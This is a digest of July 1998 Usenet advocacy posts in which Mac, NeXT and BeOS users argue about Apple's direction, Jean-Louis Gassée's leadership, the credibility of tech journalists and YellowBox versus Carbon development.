Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 18 Jul 1998 04:39:54 GMT
Organization: Digital Fix Development
Message-ID: <6op8uq$epp$1@news.digifix.com>
References: <pxpst2-1607981151540001@pelli.pathology.pitt.edu> <B1D3E732-5E1BC@206.165.43.46>
In-Reply-To: <B1D3E732-5E1BC@206.165.43.46>
On 07/16/98, "Lawson English" wrote:
>Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> said:
>
>>As for doubting Henry Norr, well when was the last time that he had
to
>>write code that would make money. And How many insiders does he
know?
>>Writing about code is not the same as writing code.
>
>
>
>Henry Knorr has been writing about the Mac since it was first
released.
>Until recently, he was serving as editor *emirtus* for MacWeek. He's
>probably on a first name basis with every CEO and President of the
company.
>
Which proves what? That he is able to schmoose well? That
he'll get in their face and glad-hands them? Those that know me know
that isn't my style, not at all. (I can actually hear chuckling from a
few of them out there right now).
David Coursey, a journalist of some note, was able to miss
such an "easy to verify fact" as the iMac mouse doesn't light up. He
actually harped on this point (that it does light up) in his MacWorld
article on ZDNet. Not a clue.
I've met a number of these 'journalists' over the years and
been completely unimpressed.
One would think that such an 'expert' would be able to
comprehend that a Mac Adaptec 2940UW wouldn't 'just work' in a PC for
installing Rhapsody DR1. Would they expect a PC card to 'just work'
in their Mac?
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: xmac@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 04:52:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6op9mm$at6$1@nnrp1.dejanews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net>
In article <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <6omnn1$o03$1@news2.ispnews.com>, Earl Malmrose
> <malmrose@nospam.jetcity.com> wrote:
>
> > gmgraves@slip.net (George Graves) :
> > > Care to tell
> > > me the names of any REAL, useful software on Be?
> >
> > Here are some REAL, useful pieces that I use regularly:
> > Code Warrior
> > NetPositive
> > BeInformed
> > GobeProductive
> >
> Code Warrior is a development package.
>
> I've looked at GoBeProductive. Pretty lame if you ask me.
> I haven't seen the other two.
>
If I recall "correctly" Amiga was real useful too...
-Stephen
---------------------------------------------------------------------------
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From: xmac@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 04:48:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6op9ea$aol$1@nnrp1.dejanews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <35aed9f5.59069898@news.euronet.be> <gmgraves-1707981122300001@sf-pm5-10-74.dialup.slip.net> <35af9c56.108830479@news.euronet.be>
In article <35af9c56.108830479@news.euronet.be>,
drooling.idiot.nospam@euronet.be wrote:
> gmgraves@slip.net (George Graves) wrote:
>
> >In article <35aed9f5.59069898@news.euronet.be>,
> >drooling.idiot.nospam@euronet.be wrote:
> >
> >> gmgraves@slip.net (George Graves) wrote:
> >>
> >> >You don't get it. Sun, HP, and SGI DO have support from major players.
> >> >They aren't necessariliy the SAME major players that are in the office
> >> >computer market, but they are major players nonetheless. Care to tell
> >> >me the names of any REAL, useful software on Be?
> >> >
> >>
> >> Here;s a novel idea, if you don't like BeOS and have some sort of
> >> problem with it don't use it. I don't see anybody forcing you to.
> >
> >Here's another novel idea: get a clue. We were talking about the efficacy
> >of alternative OSes to the mainstream ones. I was pointing out Be's
> >deficiencies in that context. An OS without software is as useful as a
> >car without gas. No matter how good it is, what features it has, they
> >won't do you any good if you can't (A) get work done with it, and (B)
> >share that work with other computers. In case you haven't noticed, Be
> >still falls short in both of these arenas. Maybe someday though.......
> >
> >George Graves
>
> Ooook, first of Be is the company, BeOS is the OS. Secondly Be in no
> way claims that BeOS is an alternative to the mainstream OSes. Be also
> does _not_ claim that BeOS is a general purpose OS like windows.
> Finally I dunno about the PPC version but the Intel version is
> currently for geeks and developers as Be so deftly puts it. How many
> OSes do you know had tons of applications in their infancy?
>
An OS only really needs one killer app to be a hit.
For the Apple][ it was education. For the IBM PC it was Lotus 123. For the
Mac is was publishing. For BeOS it's...still waiting. I would like to see
Gassee actually announce a longterm strategy for the OS, then it wouldn't
look like so much window dressing.
They had a big demo here in Austin a while back and while BeOS was cool and
all, they never really said what it was for, just that it was better. Better
at what? Other than that all they did was whine about how Steve Jobs was
conspiring against them. If they can't get into a market, then they should
create a new one!I do think BeOS could be big, but as evidenced by this
thread's original topic we have serious doubts about Gassee's leadership
after what he did at Apple. That's the whole point here. It's all about
opinions.
-Stephen
---------------------------------------------------------------------------
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From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 17 Jul 1998 23:58:44 -0500
Organization: Prairie Group
Message-ID: <MPG.1019e781d5dab2c69899b0@news.supernews.com>
References: <6omain$snn$1@server.signat.org> <B1D4F664-24510@206.165.43.134>
In article <B1D4F664-24510@206.165.43.134>, english@primenet.com says...
> My point was simply that for those people who are Mac-only developers,
> YB isn't a good solution until the majority of potential customers are
> running YB-enabled Macs. Why? Because most Mac-only companies are
> Mac-only because they don't want to try and maintain two code-bases: 1
> for Macs and 1 for PCs.
While I agree about YB, I think most Mac-only companies are still true
believers. They love the Mac, and love doing software for it.
Donald
From: "Chad Prukha" <autolist@swbell.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to
obscurity?)
Date: 18 Jul 98 00:11:30 -0600
Organization: Southwestern Bell Internet Services, Richardson, TX
Message-ID: <B1D598B5-24243@209.184.8.85>
References: <Pine.BOS.3.96.980717231938.231B-100000@fbnp>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.swbell.net/comp.sys.next.advocacy,
nntp://news.swbell.net/comp.sys.be.advocacy
Despite all the arguments brought forth here. It should be generally
agreeable that everyone hopes the best for Be. Anyone can admire the
amount of spunk it takes to make a departure from the norm. I remember
this company called NeXT that did something similar a few years back...
---------------------------------------------------------
Ken: "R--r--r--r--r--REVENGE!"
'A Fish Called Wanda'
>>>Make certain to change the ".com" in my e-mail address to
".net" before sending me a message or replying to my message.
This is my way of avoiding junk e-mail.<<<
---------------------------------------------------------
From: xmac@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 05:11:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6opaqe$c4p$1@nnrp1.dejanews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <6ol1f1$hcb$2@lwnws01.ne.highway1.com> <6ol5j8$12g@nntp02.primenet.com>
In article <6ol5j8$12g@nntp02.primenet.com>,
John Jensen <jjens@primenet.com> wrote:
> John Kheit <jkheit@mediaone.net> wrote:
> : John Jensen <jjens@primenet.com> wrote:
> : > You're saying JLG has failed because he doesn't rule the world. I'd ask
> : > who else has done as well.
>
> : I'm not saying that. OTOH, most of the big boys today started out rather
> : modestly. Dell, & compaq had very humble beginnings. Apple and microsoft
> : too.
>
> I was replying to another poster, who I think did say it.
You may have been misquoting me..who knows in this thread anymore.
The guys mentioned above, like Be, did all start out small, but they had
clear plans to growth and how they would achieve it. Be seems to lack this
direction. And let's not be mistaken here, Be is not some new startup. The
company formed in 1990! You'd think they would have at least come up with a
strategy other than to continue to grab investors and developers with little
more than the "gee-wiz" factor of the BeOS, which is compelling even for me,
while failing to deliver the substance necessary to become a contender.
My problem isn't with Be's lack of marketshare, but with Gassee. He hurt
Apple by pursuing technology merely for the sake of doing it, without any
business sense to back it up. Example: Licensing, the Apollo deal, the
AppleRISC project, etc. I look at Be and see the same thing happening all
over again. Other than playing upon Intel's fantasies of a Microsoft free
Intel, Gassee hasn't accomplished much on the business end of things. And if
there is a lesson to learn from Apple in the late 1980s it is that you have
to watch the business just as closely as you watch the technology.
> Some in Mac and Next advocacy wail when a "wintel troll" comes by to tell
> them that Mac/Next is nowhere without marketshare, and the technical merit
> of the products is suspect because they have "failed". Some of the same
> people will turn around and pull the same trick on Be. I find that
> hypocracy quite disturbing. Either those individuals are so lacking in
> moral fiber that the accept the hypocracy, or so lacking in intelligence
> that they don't even see it.
>
Just like everything else in society abuse begets abuse. Mac users get beat
on by Big Brothers Intel and Microsoft, so they beat on little brother Be.
The cycle of violence must end. It's all so sad.
-Stephen
---------------------------------------------------------------------------
"Watch what you say or Eric will sic Be's lawyers on you"
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From: xmac@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 05:15:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6opb1m$ceb$1@nnrp1.dejanews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <6ol1f1$hcb$2@lwnws01.ne.highway1.com> <35ae1722.9194881@news.euronet.be>
In article <35ae1722.9194881@news.euronet.be>,
drooling.idiot.nospam@euronet.be wrote:
> John Kheit <jkheit@mediaone.net> wrote:
>
> >John Jensen <jjens@primenet.com> wrote:
> >> You're saying JLG has failed because he doesn't rule the world. I'd ask
> >> who else has done as well.
> >
> >I'm not saying that. OTOH, most of the big boys today started out rather
> >modestly. Dell, & compaq had very humble beginnings. Apple and microsoft
> >too.
>
> You must be joking... Dunno about Dell and Compaq but Apple and MS
> started when the market was WIDE open. Are u kidding trying to compare
> Be and those two companies?
>
The market wasn't wide open. There was no market! They had to create their
own in the face of opposition from a mainframe mentality in business and
complete ignorance in the home. They succeeded because they had a plan, an
strategy, a goal. Be doesn't seem to have this. Unless their sole goal is to
make geeks go "ooo-aaah".
-Stephen
---------------------------------------------------------------------------
"Watch what you say or Eric will sic Be's lawyers on you"
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From: xmac@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 05:20:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6opbb1$cv2$1@nnrp1.dejanews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <6ol1f1$hcb$2@lwnws01.ne.highway1.com> <35ae1722.9194881@news.euronet.be> <6old6f$ogr$2@lwnws01.ne.highway1.com>
In article <6old6f$ogr$2@lwnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> drooling.idiot.nospam@euronet.be (Little Piggy) wrote:
> > You must be joking... Dunno about Dell and Compaq but Apple and MS
> > started when the market was WIDE open. Are u kidding trying to compare
> > Be and those two companies?
>
> I wasn't joking, but than again I wasn't thinking very hard so it's the same
> end result. LOL. :) You have a good point there. Compaq started early,
> but was competing against IBM when they owned it all. MS started against IBM
> too, so some credit is deserved. Dell did start significantly later, and so
> did gateway 2000 for that matter. So at, I think it's fair to say that
> GK2000, and Dell got in in the thick of things (unless someone can provide
> more accurate info than my guessing).
>
Well I think you made a good point despite yourself. ;-)
Dell and Gateway pioneered build to order and direct marketing. It was no
easy feat to get corporate America, who was used to being visited and lunched
by cleancut IBM reps in suits, to accept sitting on hold for 30minutes just
to spend money on a computer that hadn't been built yet.
-Stephen
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From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why the iMac needs a floppy
Date: Sat, 18 Jul 1998 00:43:04 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1807980043040001@sdn-ar-001casbarp259.dialsprint.net>
References: <35AFE66F.3304@earthlink.com> <35b014be.376431@news.asan.com> <35b02228.0@news.together.net> <35b030c0.406534@news.asan.com>
In article <35b030c0.406534@news.asan.com>, willy1@rocketmail.com (Willy) wrote:
> On Sat, 18 Jul 1998 00:22:56 -0400, "Lance Togar" <ltogar@msn.com>
> wrote:
>
> >>And with the amount of out-sourceing Apple is doing (drives,
> >>motherboard, industry standard interfaces) they should be able to
> >>assemble a computer for less that 1300 bucks. *I* can put together a
> >>PC out of *top quality* parts for 1300 bucks and it will include a
> >>floppy drive.
>
> >But _you_ can't do it with 30% + margins.
>
> I was actually talking about purchasing all the components at retail
> from mail order. I'm sure that, as individual components, the sellers
> should be making a 30% margin. Besides, why should apple make more
> money than anyone else?
But how else is Apple going to pay for that os they preload??? Remember
jobs during the clone debacle, who said that the COST to make the macos
was FOUR times what the cloners were paying?
The cloners were paying $50 just for the os (which is probably about what
it goes for wholesale), which makes the os cost $200. And then you have
to add in all the people that buy the os for $100 from macwarehouse, thats
$100 lost per sale!! Apple is just losing money hand over fist, they need
to recoup that somewhere!! In other words, dont make fun of Apple's %30
margins (I heard it was %25)
--
So many pedestrians, so little time.
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 18 Jul 1998 06:32:17 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6opfhh$s93$1@news5.ispnews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net>
Mime-Version: 1.0
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NNTP-Posting-Date: 18 Jul 1998 06:32:17 GMT
gmgraves@slip.net (George Graves) :
> In article <6omnn1$o03$1@news2.ispnews.com>, Earl Malmrose
> <malmrose@nospam.jetcity.com> wrote:
>
> > gmgraves@slip.net (George Graves) :
> > > Care to tell
> > > me the names of any REAL, useful software on Be?
> >
> > Here are some REAL, useful pieces that I use regularly:
> > Code Warrior
> > NetPositive
> > BeInformed
> > GobeProductive
> >
> Code Warrior is a development package.
Oh, yes, a development package isn't "REAL, useful" software. Sorry, my
mistake. I guess all the "REAL, useful" software grows on trees somewhere.
Could you point the grove's location, so I can go pick some more?
--
--Woohoo, this message posted from BeOS!
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 18 Jul 1998 10:15:25 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6opsjt$rog$1@supernews.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net>
Mime-Version: 1.0
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Cc: not@a.valid.email.add
Michael M. Eilers may or may not have said:
-> In article <6oe13t$hm7$1@news.digifix.com>, sanguish@digifix.com (Scott
-> Anguish) wrote:
->
-> > Apple isn't going to be selling off the Enterprise stuff.
-> >
-> > YB isn't going to be sold off, and it isn't dead. Not by a
-> > long shot.
-> >
-> > Geez, why do you people listen to Henry Norr?
->
-> Scott, why the hell would we listen to you instead?
Umm, maybe: Because Scott has a clue, since he actually knows many of the
developers from the company that took over apple?
->Which one of the two
-> of you has a steady job getting paid to predict what Apple is going to do
-> next, and do it for publication?
Oh, yeah: Norr's getting paid for this, so he *must* know what's going on!
I mean, you can't be clueless and be a journalist can you?
You get technical journalism work for being articulate, not for being right.
Just look at Jerry Pournelle.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 18 Jul 1998 10:19:15 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6opsr3$rog$2@supernews.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
<not-1407981048300001@2-25.phx.psn.net>
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Cc: not@a.valid.email.add
Michael M. Eilers may or may not have said:
-> Ah yes, the mysterious "people at Apple" that I'm sure you know very
-> well... Let's just say if I had a dime for every claimed inside source
-> people mention on this group, I'd be too busy spending the money to
-> respond.
Michael, a word of caution: You're making an ass of yourself. I think that
every NeXT hacker can attest that Scott does in fact know the people now
making these decisions at Apple. He's been a NeXT hacker for a *long* time,
and the NeXT community is *very* tight.
-jcr
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 18 Jul 1998 00:55:17 GMT
Organization: University of California at San Diego
Message-ID: <slrn6qvsjk.evd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <gmgraves-1607981312590001@sf-pm5-16-80.dialup.slip.net> <6ooel4$d5$1@nnrp1.dejanews.com>
On Fri, 17 Jul 1998 21:11:00 GMT, xmac@my-dejanews.com wrote:
:In article <gmgraves-1607981312590001@sf-pm5-16-80.dialup.slip.net>,
:>
:> Yeah. The Mac II was designed for an eastern Workstation company called Apollo
:> to sell as as a High-End workstation running Mac OS. It was to be the first
:> foray into cloning. The papers were all but signed, the Apollo people were at
:> the Boston Airport on their way to Cupertino, when their advocate at Apple, a
:> guy named Chuck Berger, had them paged and told them to go home. Gassee had
:> convinced Scully (who, as usual, was clueless) not to go through with the
:> deal at the last moment. Since Apple was making the motherboards for Apollo,
:> they decided to release the computer themselves as the MacII. Chaulk up
:another
:> one for Jean-Louis!
Shocking. If that had gone through, MacOS and Apple/Apollo would have
been a fearsome competitor to Sun.
What-if scenario:
The MacOS API's would be ported to Apollo's Domain OS back in the mid/late
80's, by the demand of Apollo's workstation customers.
Windows NT wouldn't have had a chance, because a user-friendly OS with
lots of desktop software and hard-core innards would have been on the
market for years.
Apple and Apollo would have soon merged into a very strong company.
DomainOS wasn't Unix, but it was not too bad for a non-Unix OS; I remember
it was rather VMSish but nowhere near as irritating or clunky.
One very nice part of it was the automatic network filesystem and path scheme.
a local file: /usr/this/that
a remote file: //machine-name/usr/this/that
Simple and brilliant. Unfortunately they were stuck on *****ing token ring,
a real disaster.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 18 Jul 1998 00:58:27 GMT
Organization: University of California at San Diego
Message-ID: <slrn6qvspi.evd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <gmgraves-1607982146050001@sf-pm5-7-71.dialup.slip.net> <199807170824012819540@slip129-37-241-229.wa.us.ibm.net> <rmcassid-1707980927330001@dante.eng.uci.edu> <19980717143757424354@slip-32-100-148-121.wa.us.ibm.net>
On Fri, 17 Jul 1998 14:37:57 -0700, Shawn M. <shawnm@snd.net> wrote:
:Robert Cassidy <rmcassid@uci.edu> wrote:
:
:>
:> Apple isn't run by concensus because Steve and the board won't allow it.
:> Interim or not, Jobs is running the show. I think he probably is doing a
:> better job of listening to his key people, forming a solid strategy, and
:> standing by it. Steve is the guy that says 'no'. There wasn't much of that
:> before. Engineers would do what they wanted. They would offer ideas and
:> just run with them. No longer. You work on the plans as laid out by the
:> executive team, nothing else. That is _really_ new for Apple.
:
:I'm not disputing any of that. Mr. Graves was saying that Apple is run
:by consensus. He didn't use past tense, he used present tense. I'm
:saying that obviously isn't the case anymore.
Or perhaps, Apple employees are capable of following orders only if
they come from Steve Jobs. (77-85, 97-now)
Maybe it's something in the water?
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 18 Jul 1998 11:16:43 GMT
Organization: P & L Systems
Message-ID: <6oq06r$n4h$1@ironhorse.plsys.co.uk>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <MPG.10109df7848fcd95989975@news.supernews.com>
<6okme4$10j$1@ironhorse.plsys.co.uk> <MPG.1017c256f4f19f59899a4@news.supernews.com>
<6oo3q7$4h1$2@ironhorse.plsys.co.uk> <MPG.1019720bcc4f9be29899ab@news.supernews.com>
Mime-Version: 1.0
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Cc: don.brown@cesoft.com
In <MPG.1019720bcc4f9be29899ab@news.supernews.com> Donald Brown wrote:
> In article <6oo3q7$4h1$2@ironhorse.plsys.co.uk>, malcolm@plsys.co.uk
> says...
> > Yes, I'm considering only products which will be aimed at people with
> > up-to-date hardware; judging by Apple's ongoing resurgence, it seems to
me
> > that that's a fairly healthy marketplace. If you're aiming for broader
> > coverage, then again Carbon will probably be the way to go (however --
> > serious question -- does MacOS 8.5 run on '040-based systems? If not
you'll
> > be back to MacOS APIs...)
>
> Nope, but I should be more clear (I've explained this in great detail in
> another thread a few months ago, weren't you LISTENING <grin>).
>
> The advantage of Carbon is that I can use one source for both MacOS
> 7.x/8.x, and for Carbon, using Conditional Compiliation to create the
> different versions.
>
OK -- I'd call that "using MacOS APIs", but I should have been more clear :-)
> With YellowBox, they will be completely separate code bases between the
> version for system 7.x and for X. Much harder to carry forward.
>
In many respects, yes; however you might be surprised at how much less code
you need for the YB version of the app -- the frameworks do so much for ou
that you really are able to concentrate on *your* code, not the code for
dealing with user interaction, drawing windows etc.
> > Well, that depends on what sort of Windows development you do... I'd
suggest
> > reading Lionel Costa's excellent article:
> >
> > The Yellow Trojan Horse
> > http://www.stepwise.com/Articles/Technical/TrojanHorse.html
>
> I'm pretty happy with BCB. I'll take your word that OpenStep is better,
>
Oh, I'm not expecting you necessarily to take my word, which is why I
recommend Lionel's article -- he's a Unix/NT developer who just recently
started with YB.
> unless you need to get very close to the OS (does it support things like
> system-wide hot keys? Hiding the app from the task bar? Icons in the
> system tray?
>
Hmm, I'd guess so, it's not something I've tried. I'm sure you can mix in
Windows-specific code if necessary. Anyone else able to comment?
Best wishes,
mmalc.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 18 Jul 1998 00:24:07 GMT
Organization: I don't think so
Message-ID: <slrn6qvr1q.jto.jason@jhste1.dyn.ml.org>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net> <35AFC01F.1739@REMOVE.wayne.edu>
Eric Iverson posted the following to comp.sys.mac.advocacy:
>If you haven't seen NetPositive, you've never used the BeOS.
I've used NetPositive. I've also used Netscape on UNIX. I'll
take Netscape on UNIX.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
Date: Sat, 18 Jul 1998 07:01:06 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1807980701070001@elk58.dol.net>
References: <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <B1D4F7F2-2A28C@206.165.43.134>
In article <B1D4F7F2-2A28C@206.165.43.134>, "Lawson English"
<english@primenet.com> wrote:
> George Graves <gmgraves@slip.net> said:
>
> >Run the company like adults on a permanent basis.
>
> RDF do this? Not likely.
Hmm.
Restoring investor confidence, restoring profitability, restoring Apple's
visibility to consumers.
None of those count for anything? Do you think before you post your
anti-Apple FUD?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 18 Jul 1998 07:02:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1807980702180001@elk58.dol.net>
References: <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
In article <B1D4F704-26A9A@206.165.43.134>, "Lawson English"
<english@primenet.com> wrote:
> Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> said:
>
> >In article <6oimuj$nsq$1@news00.btx.dtag.de>, Fam.Traeger@t-online.de
> >(=?ISO-8859-1?Q?Lars_Tr=E4ger?=) wrote:
> [snipt]
> >> Bingo! If you want to write apps for the Mac, would you chose an API
> >> that runs on Wintel but not on a large number of Macs still in use, the
> >> 68ks?
> >
> >
> >
> >In a new york second.
>
> I think that he meant: "if you already write for the Mac..." implying that
> you have an installed base of customers who still use 68K machines.
Perhaps. But if you're selling software today, what percentage of your
sales are to pepole using 68k machines? I'm sure it's a very small
percentage.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Message-ID: <35B08C8B.7E9A@REMOVE.wayne.edu>
From: Eric Iverson <eric_iverson@REMOVE.wayne.edu>
Organization: WSU
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
